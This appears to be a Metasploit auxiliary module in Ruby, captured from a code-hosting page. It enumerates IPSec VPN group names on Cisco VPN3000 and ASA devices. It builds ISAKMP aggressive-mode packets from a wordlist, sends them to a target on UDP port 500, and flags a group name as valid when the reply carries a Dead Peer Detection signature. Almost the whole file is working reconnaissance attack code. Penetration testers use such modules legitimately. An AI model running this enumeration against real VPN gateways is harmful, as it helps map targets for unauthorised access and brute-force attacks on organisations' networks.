388 lines
8.6 KiB
Ruby
388 lines
8.6 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'bit-struct'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Capture
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'Cisco IPSec VPN Implementation Group Name Enumeration.',
|
|
'Description' => %q{
|
|
This module enumerates VPN group names from Cisco VPN3000 and Cisco ASA devices.
|
|
},
|
|
'Author' => [ 'pello' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [ [ 'URL', 'http://www.cisco.com/en/US/products/products_security_response09186a0080b5992c.html' ] ]
|
|
)
|
|
register_options(
|
|
[
|
|
OptInt.new('TIMEOUT', [ true, "The number of seconds to wait for new data.",3]),
|
|
OptString.new('WORDLIST', [ true, "Wordlist containing VPN group names.", '']),
|
|
Opt::RPORT(500),
|
|
OptString.new('INTERFACE', [false, 'The name of the interface','eth0'])
|
|
], self.class)
|
|
|
|
deregister_options('PCAPFILE','SNAPLEN','FILTER')
|
|
|
|
end
|
|
|
|
class IsakmpHeader < Struct.new(
|
|
:initiatorcookie,
|
|
:respondercookie,
|
|
:nextpayload,
|
|
:version,
|
|
:exchangetype,
|
|
:flags,
|
|
:messageid,
|
|
:length
|
|
)
|
|
|
|
def initialize
|
|
self.initiatorcookie = ""
|
|
self.respondercookie = ""
|
|
self.nextpayload = 1
|
|
self.version = 0x10
|
|
self.exchangetype = 0x4
|
|
self.flags = 0
|
|
self.messageid = 0
|
|
self.length = 0
|
|
end
|
|
|
|
def pack
|
|
[
|
|
initiatorcookie,
|
|
respondercookie,
|
|
nextpayload,
|
|
version,
|
|
exchangetype,
|
|
flags,
|
|
messageid,
|
|
length
|
|
].pack("a8a8CCCCNN")
|
|
end
|
|
|
|
end
|
|
|
|
class IsakmpSaPayload < Struct.new(
|
|
:nextpayload,
|
|
:reserved,
|
|
:payloadlength,
|
|
:domain,
|
|
:situation
|
|
)
|
|
|
|
def initialize
|
|
self.nextpayload = 4
|
|
self.reserved = 0
|
|
self.payloadlength = 0xa4
|
|
self.domain = 1
|
|
self.situation = 1
|
|
end
|
|
|
|
def pack
|
|
[
|
|
nextpayload,
|
|
reserved,
|
|
payloadlength,
|
|
domain,
|
|
situation
|
|
].pack("CCnNN")
|
|
end
|
|
|
|
end
|
|
|
|
class IsakmpProposalPayload < Struct.new(
|
|
:nextpayload,
|
|
:reserved,
|
|
:payloadlength,
|
|
:proposalnumber,
|
|
:protocol,
|
|
:spisize,
|
|
:proposaltransforms
|
|
)
|
|
def initialize
|
|
self.nextpayload = 0
|
|
self.reserved = 0
|
|
self.payloadlength = 0x98
|
|
self.proposalnumber = 1
|
|
self.protocol = 1
|
|
self.spisize = 0
|
|
self.proposaltransforms = 4
|
|
end
|
|
|
|
def pack
|
|
[
|
|
nextpayload,
|
|
reserved,
|
|
payloadlength,
|
|
proposalnumber,
|
|
protocol,
|
|
spisize,
|
|
proposaltransforms
|
|
].pack("CCnCCCC")
|
|
end
|
|
|
|
end
|
|
|
|
class IsakmpTransformPayload < Struct.new(
|
|
:nextpayload,
|
|
:reserved,
|
|
:payloadlength,
|
|
:number,
|
|
:id,
|
|
:padding,
|
|
:encryption,
|
|
:hash,
|
|
:authentication,
|
|
:groupdescription,
|
|
:lifetype,
|
|
:lifeduration
|
|
)
|
|
|
|
def initialize
|
|
self.nextpayload = 3
|
|
self.reserved = 0
|
|
self.payloadlength = 0x24
|
|
self.number = 1
|
|
self.id = 1
|
|
self.padding = 0
|
|
self.encryption = 0x80010005
|
|
self.hash = 0x80020002
|
|
self.authentication = 0x8003fde9
|
|
self.groupdescription = 0x80040002
|
|
self.lifetype = 0x800b0001
|
|
self.lifeduration = "\x00\x0c\x00\x04\x00\x00\x70\x80"
|
|
end
|
|
|
|
def pack
|
|
[
|
|
nextpayload,
|
|
reserved,
|
|
payloadlength,
|
|
number,
|
|
id,
|
|
padding,
|
|
encryption,
|
|
hash,
|
|
authentication,
|
|
groupdescription,
|
|
lifetype,
|
|
lifeduration
|
|
].pack("CCnCCnNNNNNA8")
|
|
end
|
|
|
|
end
|
|
|
|
class IsakmpKeyExchangePayload < Struct.new(
|
|
:nextpayload,
|
|
:reserved,
|
|
:payloadlength,
|
|
:data
|
|
)
|
|
|
|
def initialize
|
|
self.nextpayload = 5
|
|
self.reserved = 0
|
|
self.payloadlength = 0x84
|
|
self.data = Rex::Text.rand_text(128,'0x0')
|
|
end
|
|
|
|
def pack
|
|
[
|
|
nextpayload,
|
|
reserved,
|
|
payloadlength,
|
|
data
|
|
].pack("CCnA128")
|
|
end
|
|
|
|
end
|
|
|
|
class IsakmpNoncePayload < Struct.new(
|
|
:nextpayload,
|
|
:reserved,
|
|
:payloadlength,
|
|
:data
|
|
)
|
|
|
|
def initialize
|
|
self.nextpayload = 5
|
|
self.reserved = 0
|
|
self.payloadlength = 0x18
|
|
self.data = Rex::Text.rand_text(20,'0x0')
|
|
end
|
|
|
|
def pack
|
|
[
|
|
nextpayload,
|
|
reserved,
|
|
payloadlength,
|
|
data
|
|
].pack("CCnA20")
|
|
end
|
|
|
|
end
|
|
|
|
class IsakmpIdPayload < Struct.new(
|
|
:nextpayload,
|
|
:reserved,
|
|
:payloadlength,
|
|
:type,
|
|
:protocol,
|
|
:port,
|
|
:data
|
|
)
|
|
|
|
def initialize
|
|
self.nextpayload = 0
|
|
self.reserved = 0
|
|
self.payloadlength = 0
|
|
self.type = 0xb
|
|
self.protocol = 0x11
|
|
self.port = 500
|
|
self.data
|
|
end
|
|
|
|
def pack
|
|
[
|
|
nextpayload,
|
|
reserved,
|
|
payloadlength,
|
|
type,
|
|
protocol,
|
|
port,
|
|
data
|
|
].pack("CCnCCnA*")
|
|
end
|
|
|
|
end
|
|
|
|
def generate_isakmp_message
|
|
isakmp_hdr = IsakmpHeader.new
|
|
isakmp_hdr.initiatorcookie = Rex::Text.rand_text(8,'0x0')
|
|
isakmp_sa = IsakmpSaPayload.new
|
|
isakmp_proposal = IsakmpProposalPayload.new
|
|
isakmp_transform1 = IsakmpTransformPayload.new
|
|
isakmp_transform2 = IsakmpTransformPayload.new
|
|
isakmp_transform2.number = 0x2
|
|
isakmp_transform2.hash = 0x80020001
|
|
isakmp_transform3 = IsakmpTransformPayload.new
|
|
isakmp_transform3.number = 0x3
|
|
isakmp_transform3.encryption = 0x80010001
|
|
isakmp_transform3.hash = 0x80020002
|
|
isakmp_transform4 = IsakmpTransformPayload.new
|
|
isakmp_transform4.number = 0x4
|
|
isakmp_transform4.encryption = 0x80010001
|
|
isakmp_transform4.hash = 0x80020001
|
|
isakmp_transform4.nextpayload = 0x0
|
|
isakmp_key_exchange = IsakmpKeyExchangePayload.new
|
|
isakmp_nonce = IsakmpNoncePayload.new
|
|
isakmp_id = IsakmpIdPayload.new
|
|
isakmp_id.payloadlength = @groupname.rstrip.length + 8
|
|
isakmp_id.data = @groupname.rstrip
|
|
|
|
isakmp_hdr.length = 356 + isakmp_id.data.length
|
|
|
|
payload = ""
|
|
payload << isakmp_hdr.pack
|
|
payload << isakmp_sa.pack
|
|
payload << isakmp_proposal.pack
|
|
payload << isakmp_transform1.pack
|
|
payload << isakmp_transform2.pack
|
|
payload << isakmp_transform3.pack
|
|
payload << isakmp_transform4.pack
|
|
payload << isakmp_key_exchange.pack
|
|
payload << isakmp_nonce.pack
|
|
payload << isakmp_id.pack
|
|
|
|
return payload
|
|
end
|
|
|
|
def check_dpd(pkt)
|
|
pkt2hex = pkt.unpack("C*").map {|x| x.to_s(16)}.join
|
|
pkt2hex =~ /afcad71368a1f1c96b8696fc77571/i
|
|
end
|
|
|
|
def build_ipsec_pkt
|
|
payload = generate_isakmp_message
|
|
connect_udp
|
|
pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, datastore['TIMEOUT'].to_i)
|
|
pcap.setfilter("src host #{datastore['RHOST']} and udp port 500")
|
|
udp_sock.put(payload)
|
|
disconnect_udp
|
|
begin
|
|
Timeout.timeout(datastore['TIMEOUT'].to_i) do
|
|
pcap.each do |r|
|
|
close_pcap
|
|
if check_dpd(r)
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
end
|
|
rescue Timeout::Error
|
|
close_pcap
|
|
print_status("No reply received. The following group is discovered: " << @groupname.to_s)
|
|
return false
|
|
end
|
|
end
|
|
|
|
def check_reachability
|
|
ipsecport = datastore['RPORT']
|
|
datastore['RPORT'] = 62515
|
|
pkt = "\x00\x00\xa5\x4b\x01\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00"
|
|
print_status("Sending VPN client log UDP request to #{datastore['RHOST']}")
|
|
connect_udp
|
|
datastore['RPORT'] = ipsecport
|
|
|
|
pcap = Pcap::open_live(datastore['INTERFACE'], 1500, false, datastore['TIMEOUT'].to_i)
|
|
pcap.setfilter("icmp[icmptype] == icmp-unreach and host #{datastore['RHOST']}")
|
|
udp_sock.put(pkt)
|
|
disconnect_udp
|
|
begin
|
|
Timeout.timeout(datastore['TIMEOUT'].to_i) do
|
|
pcap.each do |r|
|
|
print_error("No response from the Cisco VPN remote peer.")
|
|
close_pcap
|
|
return false
|
|
end
|
|
end
|
|
rescue Timeout::Error
|
|
close_pcap
|
|
print_status("Cisco VPN remote peer is ready.")
|
|
end
|
|
end
|
|
|
|
def run
|
|
open_pcap unless self.capture
|
|
|
|
groupnames = []
|
|
File.open(datastore['WORDLIST'],"rb").each_line do |line|
|
|
groupnames << line.strip
|
|
end
|
|
|
|
if check_reachability
|
|
print_status("Starting...")
|
|
groupnames.each do |groupname|
|
|
@groupname = groupname
|
|
if build_ipsec_pkt
|
|
print_status("The following group is discovered: " << @groupname.to_s)
|
|
end
|
|
end
|
|
end
|
|
|
|
end
|
|
|
|
|
|
end
|